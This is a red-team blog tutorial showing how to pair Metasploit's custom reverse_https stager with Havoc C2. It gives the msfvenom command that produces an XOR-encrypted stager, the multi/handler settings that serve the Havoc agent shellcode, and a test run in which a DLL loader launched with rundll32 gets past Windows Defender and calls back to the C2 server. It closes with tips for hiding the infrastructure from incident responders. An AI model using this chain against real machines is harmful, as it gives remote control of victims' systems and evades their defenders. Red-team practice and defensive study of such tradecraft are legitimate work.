Red Teaming Tactics: Unlocking The Power of Custom Staged Payloads w/ Metasploit

Overview

The purpose of this article is to go over the benefits of staged payloads and show a modular approach to staging payloads with Metasploit. This is definitely nothing new or ground breaking, but just a real hands-on walkthrough of how to utilize their ‘custom’ payloads with a Command & Control framework of your choosing.

Definitions

When discussing topics with a lot of moving parts, I’ve found it’s essential to define each item beforehand. Below are a list of items that will be referred to throughout the rest of the article.

  • Loader - A modular program who’s purpose is to evade detections and execute shellcode. Usually the only file to touch disk.
  • Stager - A smaller piece of code that executes with the purpose of preparing or fetching another piece of code.
  • Agent - In this scenario also called second stage payload. The shellcode, EXE, or DLL that is provided by the C2 framework.
  • Stage listener - A server who’s purpose is to serve the second stage payload.
  • C2 Server - The server running the chosen C2. The operator conducts post-exploitation through this server after successful execution.

DIY Stage

Staged payloads are useful because they allow the operator to use a small piece of position-independent code in their initial stager. Without staged payloads, the operator may be left trying to work a stager payload larger than 5kb sometimes up to 17mb (sliver 😕) into their initial loader. Sometimes the bigger the better … but in this case we want to create a small initial stager that pulls down the full agent (Havoc in this case) after execution.

To Stage or Not to Stage?

Sometimes the chosen C2 framework has support for staged payloads like with Sliver or Meterpreter, but what if it doesn’t? You might be left with a raw shellcode file upwards of 90kb. For reference here is a 691 byte stager payload inside of a Loader:

691 byte array in loader

691 byte array in loader

Now imagine trying to fit a 90kb payload, 133x the size of this, into a Visual Studio project! Ain’t gonna happen… There are other OPSEC reasons you don’t want to just embed the entire agent into the loader.

Setting Up A Custom Stage

We will use Metasploit’s windows/x64/custom/reverse_https payload as a small stager that will reach out and fetch a custom raw shellcode file. The shellcode file will be generated by the C2 of our choosing.

In this example, I will use Havoc C2. It has a nice GUI and some nice evasion tactics built into its default agent, Demon.


The Agent

Like I said, for this example I will use Havoc C2 for the agent which supports shellcode, Exe, Dll, and Service Exe. Save the raw shellcode from whatever C2 you are utilizing, this will be used in the Metasploit payload options later.

Generated C2 Agent Shellcode

Generated C2 Agent Shellcode

The exported shellcode file sits around 94kb.

Havoc C2 Shellcode

Havoc C2 Shellcode


The Loader

The details of the loader are out of the scope of this article but, ideally it should evade detection and sandboxes while executing modular shellcode. I will use a custom Dll loader that uses direct syscalls via Syswhispers3 and simple XOR obfuscation on the shellcode byte array. In my experience, this can be enough to get pretty low AV detection rates. Evading EDRs with kernel level hooking will require you to do more than this, but thats a story for another day.

The next step is to generate the Stager shellcode that will actually be placed into the Loader. I am going to use msfvenom to generate our small bit of shellcode that will connect back to our multi/handler listener later.

$ msfvenom -p windows/x64/custom/reverse_https LHOST=<STAGE-LISTENER> LPORT=8080 EXITFUNC=thread -f c --encrypt xor --encrypt-key 'StagingPayloadsLikeAPro?'

Using windows/x64/custom/reverse_https will make sure the connection to the Stage Listener is encrypted through TLS.

⚠️ Important:

LHOST - this will be the Stage Listener IP address, whether thats the same as the C2 or not (in this case it is).

--encrypt xor - will help to make sure the shellcode is not easily flagged as malicious by AV.

msfvenom command to generate Stager

msfvenom command to generate Stager

This gives us a nice small payload Stager around 700 bytes. This is the shellcode that will be used inside of your actual loader. I will copy & paste it into my Visual Studio project and compile the Dll.

Lastly, we just need to prepare multi/handler to serve the second stage payload on the desired port. Obviously this port needs to be different than the C2 communication port if using the same server for both.


The Stage Listener

The Stage Listeners soul purpose is the serve up the second stage to the Stager and no-one else. This server can either be the same as the C2 server or different. Below are the requirements:

  • Internet facing IP address
  • Metasploit installed
  • Agent shellcode file

We will use the windows/x64/custom/reverse_https payload inside of multi/handler. Here are the modules basic options:

Module options (payload/windows/x64/custom/reverse_https):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   EXITFUNC        thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                            yes       The local listener hostname
   LPORT           8080             yes       The local listener port
   LURI                             no        The HTTP Path
   SHELLCODE_FILE                   no        Shellcode bin to launch

Let’s setup multi/handler . Move into the folder with your .bin file and setup the listener with the following options:

$ msfconsole -q
msf6 > use multi/handler
msf6 > payload windows/x64/custom/reverse_https
msf6 > exitfunc thread
msf6 > lhost <IP ADDR>
msf6 > lport 8080
msf6 > shellcode_file demon.x64.bin
msf6 > exitonsession false

exitfunc thread - this will depend on how your Loader is executing the shellcode (default is process)

lhost - public facing IP of the Stage Listener

lport - port that was used when generating shellcode with msfvenom

shellcode_file - relative path to the shellcode file

exitonsession false - so the listener doesn’t turn off after one connection

These options can also be combined into a .rc file for convenience.

Starting Stage Listener

Starting Stage Listener

Now the server is waiting patiently to deliver the Havoc shellcode we generated.


Execution Chain

Here is a diagram to visualize the way the execution chain is unfolding. Notice the Dll loader only needs the small msfvenom stager we created, the rest is downloaded and executed in-memory. The agent is downloaded via HTTPS from the Stage Listener during execution. The Havoc agent is then executed in the memory space created by the stager and command and control is established.

Execution Flow Diagram

Execution Flow Diagram

Now we’ll kick the tires in Windows 10 with Defender on. To test everything is working I’ll use rundll32.exe to load my Dll (which is not the most stealthy execution method for Dlls btw).

Load Dll with rundll32.exe

Load Dll with rundll32.exe

We can see the connection came in, and the server is sending the custom stage.

Stage Listener serving custom stage 2 (Havoc)

Stage Listener serving custom stage 2 (Havoc)

After the custom stage is executed we can see our callback in the Havoc GUI.

Beacon established

Beacon established

Final Thoughts

Although Metasploit has been heavily signatured by a vast number of security products, it can still be used today with modifications. Hopefully I’ve showed how you can take a given C2 framework and break up the loading of the agent into a staged payload. Metasploit is just one quick & easy way you can accomplish this. If your looking for something more home-grown you can write your own stage listener server in Python making it compatible with the custom shellcode, or write your own shellcode :( ).

Improvements

This was just a fun exercise to find a way to modularly swap different C2s into my existing workflow.

  • Encrypt/encode second stage payloads
  • Use a redirector server to hide the true location of C2/stage-listener
  • Add custom headers, user-agents, or URIs in multi/handler to prevent incident responders from investigating your infrastructure
  • Automation of stager setup

Resources

Havoc Framework - https://github.com/HavocFramework/Havoc

msfvenom custom payload - https://www.infosecmatter.com/metasploit-module-library/?mm=payload/windows/x64/custom/reverse_https

Sliver stage-listers - https://github.com/BishopFox/sliver/wiki/Stagers